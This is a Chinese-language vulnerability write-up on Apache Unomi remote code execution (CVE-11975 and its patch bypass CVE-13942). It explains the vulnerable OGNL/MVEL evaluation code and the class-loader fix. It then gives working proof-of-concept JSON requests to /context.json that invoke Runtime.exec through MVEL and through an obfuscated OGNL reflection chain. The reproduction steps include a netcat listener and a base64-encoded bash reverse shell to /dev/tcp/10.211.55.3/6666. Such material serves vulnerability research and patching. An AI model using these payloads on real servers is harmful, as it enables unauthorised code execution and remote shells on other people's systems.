文章目录
一、Apache Unomi简介二、CVE--11975漏洞2.1、CVE--11975漏洞代码2.2、CVE--11975漏洞修复代码三、CVE--13942漏洞3.1、执行MVEL表达式3.2、执行OGNL表达式3.3、反弹shell一、Apache Unomi简介
Apache Unomi
(发音为“You know me”)是一个 Java 开源客户数据平台,一个 Java 服务器,旨在管理客户、潜在客户和访问者数据并帮助个性化客户体验,同时还提供尊重访问者隐私规则(如 GDPR)的功能。
二、CVE--11975漏洞
在Apache Unomi<1.5.1
的版本中,远程攻击者发送带有MVEL和OGNL表达式
的请求,导致远程代码执行,权限是Unomi应用程序的运行权限,漏洞编号为CVE--11975。而CVE--13942是对CVE--11975补丁的绕过。
2.1、CVE--11975漏洞代码
点击查看CVE--11975漏洞代码地址
下述代码段解析:
PropertyConditionEvaluator类
负责conditions(条件)内的OGNL表达式
的计算/执行。
public class PropertyConditionEvaluator implements ConditionEvaluator {...protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {ExpressionAccessor accessor = getPropertyAccessor(item, expression);return accessor != null ? accessor.get(getOgnlContext(), item) : null;}...
集合上述代码,我们分析:当Unomi收到如下数据时,Unomi会如何执行
:
{"condition":{"parameterValues":{"propertyName":"Uname1 Uname2","comparisonOperator":"equals","propertyValue":"male"}}}
1、Unomi根据用户输入的
属性名称(property name)
,查找硬编码的属性(hardcoded properties)
。2、找不到时,则调用
getOGNLPropertyValue方法
,该方法将用户输入的属性名称(property name)作为一条OGNL表达式
,计算/执行这个"属性名称"。3、在计算/执行OGNL表达式时,
ExpressionAccessor
使用"默认参数"(default parameters),从而导致了任意OGNL表达式的计算/执行。
CVE--11975 OGNL注入POC
如下:
POST /context.json HTTP/1.1Host: localhost:8181Connection: closeContent-Length: 749{"filters": [{"id": "sample","filters": [{"condition": {"parameterValues": {"":"script::Runtime r = Runtime.getRuntime(); r.exec(\"ping dnslog\");"},"type":"profilePropertyCondition"}}]}],"sessionId": "sample"}
2.2、CVE--11975漏洞修复代码
变更1:OGNL处理过程增加了SecureFilteringClassLoader
将
SecureFilteringClassLoader
添加到getOGNLPropertyValue()方法的OgnlContext
中,以防止计算/执行任意OGNL表达式。
public class PropertyConditionEvaluator implements ConditionEvaluator {...protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(PropertyConditionEvaluator.class.getClassLoader());OgnlContext ognlContext = getOgnlContext(secureFilteringClassLoader);ExpressionAccessor accessor = getPropertyAccessor(item, expression, ognlContext, secureFilteringClassLoader);return accessor != null ? accessor.get(ognlContext, item) : null;}...
变更2:MVEL处理过程增加了
SecureFilteringClassLoader
将
SecureFilteringClassLoader
添加到getOGNLPropertyValue()方法的OgnlContext
中,以防止计算/执行任意OGNL表达式。
public class ConditionContextHelper {... private static Object executeScript(Map<String, Object> context, String script) {final ClassLoader tccl = Thread.currentThread().getContextClassLoader();try {if (!mvelExpressions.containsKey(script)) {ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(ConditionContextHelper.class.getClassLoader());Thread.currentThread().setContextClassLoader(secureFilteringClassLoader);ParserConfiguration parserConfiguration = new ParserConfiguration();parserConfiguration.setClassLoader(secureFilteringClassLoader);mvelExpressions.put(script, pileExpression(script, new ParserContext(parserConfiguration)));}return MVEL.executeExpression(mvelExpressions.get(script), context);...
变更3:引入了
SecureFilteringClassLoader
–安全过滤的ClassLoader
SecureFilteringClassLoader类重写了
ClassLoader类的loadClass()方法
,在预定义的集合(predefined set)
中明确限制了可访问的类(accessible classes)
,并根据allowlist和blocklist来检查表达式中使用的类:如果匹配中了blocklist,则抛出异常;
如果没匹配中allowlist,则抛出异常;
以此来限制计算/执行任意MVEL和OGNL表达式。
@Overridepublic Class<?> loadClass(String name) throws ClassNotFoundException {if (forbiddenClasses != null && classNameMatches(forbiddenClasses, name)) {throw new ClassNotFoundException("Access to class " + name + " not allowed");}if (allowedClasses != null && !classNameMatches(allowedClasses, name)) {throw new ClassNotFoundException("Access to class " + name + " not allowed");}return delegate.loadClass(name);}
三、CVE--13942漏洞
CVE--11975 主要通过引入SecureFilteringClassLoader
函数,重写ClassLoder类的loadClass()方法
,通过黑白名单的方式过滤掉表达式中使用的类,以此来进行防御。
但是MVEL表达式可以直接使用已实例化的类(例Runtime或System)
,不调动loadClass()
,以此来绕过SecureFilteringClassLoader
。
复现步骤
:
3.1、执行MVEL表达式
访问IP:8181抓包更改请求为:
POST /context.json
Content-Type为:
application/json
执行
curl 监听端IP:port
监听端执行
nc -lvvp 6666
POC
见下:
{"filters": [{"id": "sample","filters": [{"condition": {"parameterValues": {"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"command\");"},"type": "profilePropertyCondition"}}]}],"sessionId": "sample"}
3.2、执行OGNL表达式
访问IP:8181抓包更改请求为:
POST /context.json
Content-Type为:
application/json
执行
curl 监听端IP:port
监听端执行
nc -lvvp 6666
POC见下
:
{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName":"(#runtimeclass =#this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod =#runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj= #getruntimemethod.invoke(null,null)).(#execmethod =#runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{?#this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{?#this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"command\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"sample"}
3.3、反弹shell
访问IP:8181抓包更改请求为:
POST /context.json
Content-Type为:
application/json
执行
bash -i >& /dev/tcp/10.211.55.3/6666 0>&1
,需要进行base64加密。
监听端执行
nc -lvvp 6666
参考: /apache/unomi/blob/206b646eb5cfa1e341ca7170705721de9b5b9716/persistence-elasticsearch/core/src/main/java/org/apache/unomi/persistence/elasticsearch/conditions/ConditionContextHelper.java#L81-L89 /apache/unomi/commit/823386ab117d231df15eab4cb4b7a98f8af546ca
/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md